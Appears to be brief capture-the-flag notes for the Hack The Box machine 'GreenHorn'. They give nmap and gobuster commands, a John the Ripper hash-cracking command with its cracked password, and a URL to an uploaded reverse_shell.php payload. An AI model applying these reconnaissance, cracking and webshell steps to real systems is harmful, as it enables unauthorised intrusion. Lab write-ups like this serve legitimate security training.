HTB GreenHorn

GreenHorn.txt

#Codes to run for HTB GreenHorn
#Scan

nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.11.25

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
3000/tcp open  ppp?


##Update host file
10.10.11.25 greenhorn.htb

#Gobuster
gobuster dir -u http://10.10.11.25:3000 -w /usr/share/wordlists/dirb/common.txt

#crack the hashed password with https://crackstation.net/
# or use John after exporting the hash
john --format=raw-sha512 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

iloveyou1

IP:

Open
http://greenhorn.htb/data/modules/payload/reverse_shell.php